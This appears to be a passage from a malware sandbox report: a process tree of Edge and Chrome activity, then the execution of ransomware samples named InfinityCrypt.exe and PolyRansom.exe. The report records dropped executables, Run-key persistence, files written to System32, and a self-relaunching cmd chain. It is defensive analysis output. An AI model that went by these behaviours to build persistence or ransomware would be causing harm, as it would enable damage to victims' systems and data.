PID 408 wrote to memory of 2212	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 2212	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 2212	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 2212	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 2212	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 2212	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 2212	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 2212	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 2212	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 2212	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 2212	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 2212	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 2212	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 2212	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 2212	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 2212	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 2212	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 2212	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 2212	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 2212	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 2212	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 2212	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 2212	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 2212	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 2212	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 2212	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 2212	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 2212	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 2212	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 2212	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 2212	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 2212	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 2212	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 2212	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 4364	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 4364	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 1144	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 1144	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 1144	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 1144	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 1144	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 1144	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 1144	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 1144	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 1144	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 1144	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 1144	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 1144	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 1144	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 1144	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 1144	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 1144	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 1144	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 1144	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 1144	408	msedge.exe	msedge.exe
PID 408 wrote to memory of 1144	408	msedge.exe	msedge.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Local\Temp\Free Software Downloads and Reviews for Windows, Android, Mac, and iOS – CNET Downloadrr.html
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:408

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffe1e2146f8,0x7ffe1e214708,0x7ffe1e214718
2⤵
PID:2640

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2124,15058753695177811151,11589192906422915533,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2136 /prefetch:2
2⤵
PID:2212

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2124,15058753695177811151,11589192906422915533,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 /prefetch:3
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:4364

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2124,15058753695177811151,11589192906422915533,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2656 /prefetch:8
2⤵
PID:1144

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2124,15058753695177811151,11589192906422915533,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3092 /prefetch:1
2⤵
PID:3040

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2124,15058753695177811151,11589192906422915533,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3108 /prefetch:1
2⤵
PID:4896

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3416

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4140

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:824

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffe0e689758,0x7ffe0e689768,0x7ffe0e689778
2⤵
PID:4328

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1652 --field-trial-handle=1812,i,318607764426848985,5132087965704857966,131072 /prefetch:2
2⤵
PID:4824

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2140 --field-trial-handle=1812,i,318607764426848985,5132087965704857966,131072 /prefetch:8
2⤵
PID:2332

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2220 --field-trial-handle=1812,i,318607764426848985,5132087965704857966,131072 /prefetch:8
2⤵
PID:392

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2988 --field-trial-handle=1812,i,318607764426848985,5132087965704857966,131072 /prefetch:1
2⤵
PID:368

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2996 --field-trial-handle=1812,i,318607764426848985,5132087965704857966,131072 /prefetch:1
2⤵
PID:4648

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4564 --field-trial-handle=1812,i,318607764426848985,5132087965704857966,131072 /prefetch:1
2⤵
PID:5216

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5108 --field-trial-handle=1812,i,318607764426848985,5132087965704857966,131072 /prefetch:8
2⤵
PID:5388

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5184 --field-trial-handle=1812,i,318607764426848985,5132087965704857966,131072 /prefetch:8
2⤵
PID:5464

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5084 --field-trial-handle=1812,i,318607764426848985,5132087965704857966,131072 /prefetch:8
2⤵
PID:5488

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --mojo-platform-channel-handle=5212 --field-trial-handle=1812,i,318607764426848985,5132087965704857966,131072 /prefetch:1
2⤵
PID:5744

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=3044 --field-trial-handle=1812,i,318607764426848985,5132087965704857966,131072 /prefetch:2
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:3564

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:5160

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
1⤵
- Enumerates system info in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:5396

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffe1e2146f8,0x7ffe1e214708,0x7ffe1e214718
2⤵
PID:6104

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2060,10681473805339305482,3706968449426309392,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2120 /prefetch:2
2⤵
PID:2964

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2060,10681473805339305482,3706968449426309392,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2112 /prefetch:3
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:620

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2060,10681473805339305482,3706968449426309392,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2132 /prefetch:8
2⤵
PID:5552

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2060,10681473805339305482,3706968449426309392,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3492 /prefetch:1
2⤵
PID:4040

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2060,10681473805339305482,3706968449426309392,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3508 /prefetch:1
2⤵
PID:4952

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2060,10681473805339305482,3706968449426309392,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5084 /prefetch:1
2⤵
PID:4440

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2060,10681473805339305482,3706968449426309392,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5000 /prefetch:1
2⤵
PID:4228

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2060,10681473805339305482,3706968449426309392,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5412 /prefetch:8
2⤵
PID:484

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2060,10681473805339305482,3706968449426309392,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5412 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:5256

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2060,10681473805339305482,3706968449426309392,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4144 /prefetch:1
2⤵
PID:1824

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2060,10681473805339305482,3706968449426309392,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5480 /prefetch:1
2⤵
PID:2012

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2060,10681473805339305482,3706968449426309392,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4232 /prefetch:1
2⤵
PID:1816

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2060,10681473805339305482,3706968449426309392,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5408 /prefetch:1
2⤵
PID:2216

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2060,10681473805339305482,3706968449426309392,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5732 /prefetch:1
2⤵
PID:3256

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2060,10681473805339305482,3706968449426309392,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5008 /prefetch:8
2⤵
PID:4024

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=2060,10681473805339305482,3706968449426309392,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=5772 /prefetch:8
2⤵
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
PID:5836

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2060,10681473805339305482,3706968449426309392,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5532 /prefetch:1
2⤵
PID:3200

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2060,10681473805339305482,3706968449426309392,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5480 /prefetch:1
2⤵
PID:5244

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2060,10681473805339305482,3706968449426309392,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5888 /prefetch:1
2⤵
PID:5372

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2060,10681473805339305482,3706968449426309392,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=3180 /prefetch:8
2⤵
PID:3772

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2060,10681473805339305482,3706968449426309392,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6332 /prefetch:1
2⤵
PID:1296

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2060,10681473805339305482,3706968449426309392,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6596 /prefetch:8
2⤵
PID:5288

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2060,10681473805339305482,3706968449426309392,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1836 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:4028

C:\Users\Admin\Downloads\InfinityCrypt.exe
"C:\Users\Admin\Downloads\InfinityCrypt.exe"
2⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Checks processor information in registry
PID:2608

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2060,10681473805339305482,3706968449426309392,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=6680 /prefetch:2
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:4312

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2060,10681473805339305482,3706968449426309392,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6892 /prefetch:1
2⤵
PID:6120

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2060,10681473805339305482,3706968449426309392,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=7152 /prefetch:8
2⤵
PID:1732

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2060,10681473805339305482,3706968449426309392,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6868 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:444

C:\Users\Admin\Downloads\PolyRansom.exe
"C:\Users\Admin\Downloads\PolyRansom.exe"
2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
PID:5940

C:\Users\Admin\YocoMYsE\MuMUgwks.exe
"C:\Users\Admin\YocoMYsE\MuMUgwks.exe"
3⤵
- Executes dropped EXE
- Adds Run key to start application
PID:5744

C:\ProgramData\qosEEIgA\VuUcUoEc.exe
"C:\ProgramData\qosEEIgA\VuUcUoEc.exe"
3⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: GetForegroundWindowSpam
PID:1012

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
3⤵
PID:6048

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4804

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
5⤵
PID:4332

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1500

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
7⤵
PID:4380

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
8⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:6024

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
9⤵
PID:5156

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
10⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4912

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
11⤵
PID:4220

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
12⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:856

C:\Windows\SysWOW64\cmd.exe
